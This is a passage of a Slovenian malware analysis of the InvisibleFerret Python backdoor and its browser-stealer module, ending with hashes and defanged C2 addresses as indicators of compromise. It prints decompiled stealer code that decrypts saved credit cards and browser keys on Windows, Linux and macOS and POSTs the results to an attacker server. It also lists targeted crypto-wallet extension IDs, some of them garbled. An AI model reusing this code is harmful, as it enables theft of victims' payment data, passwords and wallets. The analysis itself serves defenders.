219          t1 = Thread(target=A.listen_recv);t1.daemon=_T;t1.start()
220          while A.is_alive:
221              try:sleep(5)
222              except:break
223          A.close()
224          return A.is_delete
225
226      def send(A,code=_N,args=_N):A.sess.send(code=code,args=args)

```

Tabela možnih ukazov:

ID ukaza	Ime funkcije	Opis
1	ssh_obj	Izvrši ukaz v ukazni lupini in vrne izhod.
2	ssh_cmd	Izvrši posebne ukaze. V tem primeru je implementiran samo en ukaz, ki zapre celotno povezavo.
3	ssh_clip	Vrne zabeležene vnose (keylogger). Keylogger je aktiven samo na Windows OS.
4	ssh_run	Prenese in izvrši »Browser« modul (opisan v nadaljevanju).
5	ssh_upload	Omogoča iskanje datotek po sistemu in odlaganje datotek na nek FTP strežnik (podatki FTP strežnika so podani v argumentih ukaza).
6	ssh_kill	Ubije procese brsklanikov Chrome in Brave
7	ssh_any	Prenese in izvrši dodatno skripto, ki namesti in konfigurira program za oddaljen dostop AnyDesk
8	ssh_env	Pridobi datoteke iz zunanjih diskov in map za dokumente ter prenese in jih odloži na FTP strežnik
9	ssh_zcp	Ukrade podatke brskalnikov, razširitev, upravljalcev gesel, kripto denarnic in nekaterih drugih aplikacij ter jih shrani v zašifriran arhiv. Arhiv nato odloži na FTP strežnik ali pa jih pošlje v Telegram kanal (preko API-ja)

Ukaz **ssh_zcp** kraje podatke iz aplikacij Chrome, Chromium, Opera, Brave, Edge, Vivaldi, 1Password, Exodus, Atomic, Electrum, WinAuth, Proxifier v4, Dashlane, ter iz razširitev iz spodnjega seznama:

ID razširitve	Ime
aeachknmefphepcionboohckonoeemg	Coin98
aholpfodialjgjfhomihkjbmjidlcdno	Exodus
bfnaelmomeimhlpmgjnophhpkkolja	Phantom
ejbalbakoplchlgecdalmeeeajnimhm	MetaMask
ejjladinnckdgjemekedbpeokbikhfcij	PetraAptos
egjidjbpglichdcondbcdnbeepgdph	Trust
fhbohimaelbohpjbblcngcnapndodjp	Binance
gjdfdfnbillbflbkmlldbclkihgajchbg	Termux
hifafgmccdpekplomjjkcfgodnhcellj	Crypto
hnfanknocfeofbddgcijnmhfnkdnaad	CoinBase
ibnejdfjmmkpcnlpebklmnkoeoiohofec	TronLink
lgmpcpglpngdoalbgeoldeajfcnhafa	Safepal
mcohilncbfahbmfdjkbpemcciolgcge	OKX
nkbihfbeogaeaaoehlefknkodbefgpgknn	MetaMask
nphplgoakhhjchkkhmiggakijnkhfnd	Ton
pdliaogehgdbhbnmkklieghmmjkpigpa	ByBit
phkbamefinggmakgklpklijmgibohnba	Pontem
kkpllkodjeloidieedojojacfhpaihoh	Enkrypt
agoakfejjabomempkjlepdflaleeobhb	Core
jiidialihmmhddjgbnbgdfflelocpak	Bitget
kgdijkcfiglijhaglibaidbipiejfdp	Cirus
kkpehldckknjffeaikhajcjccmcjflh	HBAR
idnnbdplmphflfnlkomgpfbpcgelopg	Xverse
fccgmnglbhajioalokbcidhcaikhlcpm	Zapit
fijngjgcjhjmmpcmkeiomlglpeijjkld	Talisman
enabgbdfcbaehmbigakijjabdpdnimlg	Manta

onhogfjeacnfoofkfgppdlbmlmnplgbn	Sub
amkmjjmmflldogmhpjloimipbofnfjh	Wombat
glmhbknppefdmpemdmnjlinpbclokhn	Orange
hmeobnfnfcmdkdcmlblgagmfpfboieaf	XDEFI
acmacodkjbdgmoleebolmdjonilkdbch	Rabby
fcfcflifndlomdhbehjjcoimbgofdncg	LeapCosmos
anokgmpnhncpekkhclmingpimjmcooifb	Compass
epapihdplajcdnnkdeiahlgigofloibg	Sender
efbglgofoippbgcjepnhiblaibcnclgk	Martian
ldinpeekobnhjjdofggfgjlcehhmanlj	Leather
lccboghgfkdikahanoclbdmaolidjdf	Wigwam
abkahkcbhngaebpcgfmhkoiuedceoigp	Casper
bhhlbepdkbapadjnnojkbgioiodbic	Solflare
klghhnkeealcohjanjdaeeggfmfmlpl	Zerion
Innnmfcpbkafcpgdilckhmhbkkbpkmid	Koala
ibljocddagjghmlpgihahamcgfhggjc	Virgo
ppbibelpcjmhbdihakflkdoccgbkpo	UniSat
afbcbjpbpfadlkmhmcjhkeedmamcflic	Math
ebfidpplhabeedpnhjnoghokpiioolj	Fewcha
fopmedgnkfpebglppeddmmochcookhc	Suku
gjagmgiddbbciopjhllkdnddhcglnemk	Hashpack
jnlgamecbpmbajjfhammadlhejkemejdma	Braavos
pgiaagfkgbnmiiolekcfmljdagdhlc	Stargazer
khpkpbbcccdmmclmpigdgddabeilkpd	Suiet
kilnpioakcdndlodeecefajdpojajlo	Aurox
bopcbmipnjcdfflfgjdgdejmgoaab	Block
kmhcihpebfmpgmihbkipmjlmnioameka	Eternl

aflkmfhebedbjioipglgcbcmnbp gqliof	Backpack
ajkifnlffhikkjbjopkhmjoieikeihjb	Moso
pfccjkejcgpoppjnllalolplgogenfojk	Tomo
jaooiolkmfcmlloonphphiogkfckgiom	Twetch
kmphdnilpmdejikjdnlbcnmnabepfgkh	OsmWallet
hbbgbephgojikajhfbomhlmollphcad	Rise
nbdhibgjnjpknkajaghbfffjbkcglijfgdi	Ramper
fldfpgipfnncgndfolcbkdeeknbbbhncc	MyTon
jnmbobjmhln goefai ojfjljckilhhhlhcj	OneKey
fcckkdbjnoiko ededlapcalpionmalo	MOBOX
gadbifgb lmediak bceide gloehmffic	Paragon
ebaeifdbcjklcmoigppnpkcg hndhpbbm	SenSui
opf gelmcmbiajamepn mloijb poleiama	Rainbow
jfflgdhkeohhkelibbefdcgji jppkdeb	OrdPay
kfecff oibanimcnjeajlcnbablfeafho	Libonomy
opcgpfmipidbgpenhmajoajpbobppdil	Sui
penjddjkjgpnkllbocc dgcekpkcbin	OpenMask
kbcd dcmgoplfockflacnnefaehaiocb	Shell
abogmiocnneedmmepnohnhlijcjcifd	Blade
omaabbefbmii jedngplfjmnooppbclkk	Tonkeeper
cnn cmdhjacpkmjmkcafchppbnpnhdmon	HAVAH
eokbbaidfgdndnljmffldfgjklpjkdoi	Fluent
fnjhmkhhmkbjkkabndcnnogagogbneec	Ronin
dmkamcknogkgcdfhhbddcghachkejeap	Keplr
dlcobpj iigpikoobohmabehhmh foodbb	ArgentX
aiifbnbfobpm eekipheeijimdpnlpgpp	Station
ea jafom hmkipbjfm hebemolkcicgfmd	Taho

mkpegjkblkkefacfnmkajcjmabijhclg	MagicEden
ffbceckpkpbcmgiaeuhlloocglmijnpmp	Initia
lpfcbjknijpeeillifnkikgncikgfhd	Nami
fphkgmpbidmiogeglndfbkegfdlnajnf	Cosmostation
kppfdiippfcccemcignhifpjkapfbihd	Frontier
fdjamakpfbbddfjaooikfcpapjohcfmg	Dashalane
hdokiejnpimakedhajhdlcegeplioahd	LastPass
bhghoamapcdpbohphigoooaddinpkbai	GoogleAuth

Browser modul

Tudi ta modul je kodiran in stisnjen po enakem postopku kot prejšnji. Njegov namen je kraja gesel in kreditnih kartic shranjenih v spletnih brskalnikih. Gre za bolj specializirano različico **ssh _zcp** ukaza iz prejšnjega modula in kradljivca v BeaverTail kodi.

Razlika je v tem, da ostala dva kradljivca preneseta celotne mape s shranjenimi podatki spletnih brskalnikov, ta se pa **osredotoči samo na shranjena gesla in kreditne kartice.**

```

bow.py
51   class CB:
52     ...
128
129     def retrieve_web(A):
130
131         web_paths, keys = A.b_web_paths, A.keys
132         temp_path = (home + "/AppData/Local/Temp") if A.target_os == "Windows" else "/tmp"
133
134         try:
135             for web_path in web_paths:
136                 filename = os.path.join(temp_path, "webdata.db")
137                 shutil.copyfile(web_path, filename)
138
139                 conn = sqlite3.connect(filename)
140                 cursor = conn.cursor()
141                 cursor.execute(
142                     'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified
143                     FROM credit_cards')
144
145                 key = keys[web_paths.index(web_path)]
146                 for row in cursor.fetchall():
147                     if not row[0] or not row[1] or not row[2] or not row[3]:
148                         continue
149
150                     if A.target_os == "Windows":card_number = A.dec_win_pwd(row[3], key)
151                     elif A.target_os == "Linux" or A.target_os == "Darwin":card_number = A.dec_unix_pwd(row[3], key)
152                     else:card_number = ""
153
154                     if card_number == "" and not A.bl_pwds:continue
155
156                     A.webs.append(dict(name_on_card=row[0],expiration_month=row[1],expiration_year=row[2],
157                                         card_number=card_number,date_modified=row[4]))
158
159                     cursor.close();conn.close()
160                     try:os.remove(filename)
161                     except OSError:pass
162             except Exception as E: return []

```

Zgornja funkcija pridobi podatke kreditnih kartic, shranjenih v nekem brskalniku. Najprej iz SQLite baze **webdata.db** pridobi zašifrirane podatke in jih zatem še dešifira.

```

51   class CB:
86     @staticmethod
87     def dec_unix_pwd(p: bytes, k: bytes) -> str:
88       try:
89         iv = b' ' * 16;p = p[3:]
90         cipher = AES.new(k, AES.MODE_CBC, IV=iv)
91         return cipher.decrypt(p).strip().decode('utf8')
92       except Exception: return ""
181   class Windows(CB):
221     @staticmethod
222     def get_encryption_key(path: Union[Path, str]):
223       try:
224         with open(path, "r", encoding="utf-8") as file:
225           local_state = file.read()
226           local_state = json.loads(local_state)
227
228           key = base64.b64decode(local_state["os_crypt"]
229           ["encrypted_key"])
230           key = key[5:]
231           return win32crypt.CryptUnprotectData(key, _N, _N,
232           _N, _N)[1]
233       except:
234         return ""
233     @staticmethod
234     def dec_win_pwd(p: bytes, k: bytes) -> str:
235       try:
236         iv = p[3:15]
237         p = p[15:]
238         cipher = AES.new(k, AES.MODE_GCM, iv)
239         return cipher.decrypt(p)[-16].decode()
240       except Exception:
241         try: return str(win32crypt.CryptUnprotectData(p, _N,
242           _N, _N, _N)[1])
243       except Exception: return ""
244
286   class Linux(CB):
287     def get_encryption_key(A) -> bytes:
288       try:
289         label = "Chrome Safe Storage" # Default
290         if A.browser=="opera":label="Chromium Safe Storage"
291         elif A.browser=="brave":label="Brave Safe Storage"
292         elif A.browser=="yandex":label="Yandex Safe Storage"
293
294         passw = 'peanuts'.encode('utf8')
295         bus = secretstorage.dbus_init()
296         collection = secretstorage.get_default_collection
297         (bus)
298         for item in collection.get_all_items(): # Iterate
299           if item.get_label() == label:passw = item.
300             get_secret().decode("utf-8");break
301
302       return PBKDF2(passw, b'saltsalt', 16, 1)
302     except: return ""
302
347   class Mac(CB):
348     def get_encryption_key(A) -> Union[str, _N]:
349       try:
350         label="Chrome" # Default
351         if A.browser=="opera":label="Opera"
352         elif A.browser=="brave":label="Brave"
353         elif A.browser=="yandex":label="Yandex"
354
355         safe_storage_key = subprocess.check_output(
356           f"security 2>&1 > /dev/null
357           find-generic-password -ga '{label}'",
358           shell=_T)
359
359       return re.findall(r'\\"(.*)\\\"', safe_storage_key.
360           decode("utf-8"))[0]
359     except: return ""

```

Pridobitev ključa in dešifriranje se razlikuje glede na operacijski sistem, saj se tudi sama implementacija v brskalnikih nekoliko razlikuje. V Windows OS-u program za dešifriranje podatkov uporabi funkcijo **dec_win_pwd**, na ostalih OS-ih pa **dec_unix_pwd**. Na Windows OS-u je ključ dodatno zašifriran in shranjen v JSON datoteki **Local State**, za dešifriranje tega ključa se uporablja Windows API funkcija **CryptUnprotectData**, ki s posebnim ključem trenutnega uporabnika dešifira podatke. Ostali operacijski sistemi pa imajo ključ shranjen v t.i. keychain/keyring sistemskih shrambah.

```

bow.py
39   class BVer:
40     def __str__(A):return A.b_n
41     def __eq__(A,__o):return A.b_n==__o
42
43   class Chrome(BVer):b_n = "chrome";v_w = ["chrome", "chrome dev", "chrome beta", "chrome canary"];v_l =
44     ["google-chrome", "google-chrome-unstable", "google-chrome-beta"];v_m = ["chrome", "chrome dev", "chrome beta",
45     "chrome canary"]
46   class Brave(BVer):b_n = "brave";v_w = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"];v_l =
47     ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"];v_m = ["Brave-Browser", "Brave-Browser-Beta",
48     "Brave-Browser-Nightly"]
49   class Opera(BVer):b_n = "opera";v_w = ["Opera Stable", "Opera Next", "Opera Developer"];v_l = ["opera",
50     "opera-beta", "opera-developer"];v_m = ["com.operasoftware.Opera", "com.operasoftware.OperaNext", "com.
51     operasoftware.OperaDeveloper"]
52   class Yandex(BVer):b_n = "yandex";v_w = ["YandexBrowser"];v_l = ["YandexBrowser"];v_m = ["YandexBrowser"]
53
54   class MsEdge(BVer):b_n = "msedge";v_w = ["Edge"];v_l = [];v_m = []
55
56   av_bros = [Chrome, Brave, Opera, Yandex, MsEdge]
57
58   class CB:
59     ...
60
61     def save(A, fn: Union[Path, str], fp: Union[Path, str], vb: bool = _T) -> bool:
62       cc = fp + '\n' + A.pretty_print()
63       ops = {'ts': str(ts), 'type': sType, 'hid': hn, 'ss': str(fn), 'cc': cc}
64       url = host2+'/keys'
65       try:requests.post(url, data=ops)
66       except:return ""

```

V zgornjem izseku kode vidimo, da podatke krade samo iz spletnih brskalnikov Chrome, Opera, Brave, Yandex in Edge (baziranih na Chromium), kar je najverjetneje posledica višje specializiranosti. Pridobljene podatke pošlje z metodo `save`, kjer se tudi vidi, da uporabi HTTP POST zahtevo na fiksni naslov `hxxp://23[.]106.253.221:1244/keys`.

Povzetek

V tem delu smo pogledali delovanje dveh zlonamernih Python skript, ki sta prenešeni in izvedeni preko t.i. loaderja ali dropperja (`.npl`) z imenom InvisibleFerret. Podobno kot za BeaverTail lahko tudi tega prepoznamo po obliki URL-jev s katerimi komunicira, imenih modulov (pay, bow, adc) ali pa imenu skripte `.npl`.

Seznam indikatorjev zlorabe (IoC)

Ime	SHA256
userRoutes.js	4f632429fedb39fa2addaeff3ba900679ebff99e45353d523776831e2558df80
test.js	354e7014103783c2096b9f29e4eed11f79d19b13bda112b6fed4ffbf3ad438b9
p2.zip	6a104f07ab6c5711b6bc8bf6ff956ab8cd597a388002a966e980c5ec9678b5b0
.npl	f46b47e859f321b6676289f3637538b60e1d7d97ee8d79b8ba9d12248858a75a
pay	95e3cbaac2749928598928c3b8ca80358c136e01bc429d2c2da77cc788566e1e
bow	6b331ab212a839ad1b1b673ca74a3c50c6dae383c19661e0ae71853f615aa891
adc	335ad22f143ff050bb405cd48d0011a9eb9f4c7501b18781a42d3956718827c8

URL

hxxps://github[.]com/0xcestlaview/addingtoken

hxxp://23[.]106.253.221:1244/j/ZU1RINz7

hxxp://23[.]106.253.221:1244/p

hxxp://23[.]106.253.221:1244/keys

hxxp://23[.]106.253.221:1244/pdown

hxxp://23[.]106.253.221:1244/uploads

hxxp://23[.]106.253.221:1244/client/ZU1RINz7

hxxp://23[.]106.253.221:1244/payload/ZU1RINz7

hxxp://23[.]106.253.221:1244/brow/ZU1RINz7

hxxp://23[.]106.253.221:1244/adc/ZU1RINz7

hxxp://23[.]106.253.221:1244/any

IP	Vrata
-----------	--------------

173[.]211.106.101 1244